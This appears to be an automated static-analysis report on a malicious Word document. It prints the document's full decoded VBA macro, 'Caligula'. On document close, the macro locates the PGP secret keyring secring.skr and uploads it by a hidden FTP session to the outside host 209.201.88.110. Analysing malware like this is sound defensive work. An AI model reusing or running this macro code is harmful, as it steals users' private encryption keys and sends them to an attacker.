Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0c2caa89d89a4afe…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-01-07 12:37:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 6de6ee78bb83aec9bd680977791637fe SHA-1: 8fd7abdfb5f5942fcf83a1957f2ae1d953c079b9 SHA-256: 0c2caa89d89a4afedb17c897b19911955aa1f88d7f92333dfabe4dade46366f7
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1041 Exfiltration Over C2 Channel

The sample contains VBA macros with an AutoClose execution trigger, indicating it runs automatically when the document is closed. The script attempts to establish an FTP connection to '209.201.88.110' using anonymous credentials and uploads a file named 'secring.skr' to a remote location. This behavior suggests an attempt to exfiltrate sensitive data or download further malicious components.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-1501696 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1501696
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2082 bytes
SHA-256: 0e97c74d84b74286126478b49d2564250797acb72ed55bc49589696a3c88a32d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Caligula"
Sub AutoClose()
'çŕđŕćĺíčĺ ďđč çŕęđűňčč äîęóěĺíňŕ
'...
'ďđîâĺđ˙ĺě ęëţ÷ áűë óęđŕäĺí ń ýňîé ěŕřčíű, ńĺëč íĺň ňî
čůĺě ęëţ÷
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup(ACME)\User Info", "Caligula") = False) Then pgppath = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PGP EncryptedFile\shell\open\command", "")
Position = InStr(1, pgppath, "pgpt")
'óçíŕĺě ăäĺ ęŕňîëîă(?) pgp
If Position <> 0 Then
pgppath = Mid(pgppath, 1, Position - 2)
Else
GoTo noPGP 'íŕ ýňîě ęîěďĺ íĺň pgp
End If

With Application.FileSearch
.FileName = "\Secring.skr"
    .LookIn = pgppath
    .SearchSubFolders = True
    .MatchTextExactly = True
    .FileType = msoFileTypeAllFiles
    .Execute
    PGP_Sec_Key = .FoundFiles(1)
End With
'čůĺě íóćíűé íŕě ôŕéë
Randomize
  For i = 1 To 4
 NewSecRingFile = NewSecRingFile + Mid(Str(Int(8 * Rnd)), 2, 1)
  Next i
  NewSecRingFile = "./secring" & NewSecRingFile & ".skr"
Open "c:\cdbrk.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "binary"
    Print #1, "put """ & PGP_Sec_Key & """ """ & NewSecRingFile & """"
    Print #1, "quit"
    Close #1
'îňęđîĺě č çŕďčřčě ďŕđŕěĺňđű îňńűëęč
Shell "command.com /c ftp.exe -n -s:c:\cdbrk.vxd", vbHide
'îňńűëŕĺě pgp ęëţ÷
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup(ACME)\User Info", "Caligula") = True

End If

noPGP:
'íĺň pgp
'ńîőđŕí˙ĺě â ŕęňčâíîě äîęóěĺíňĺ
End Sub

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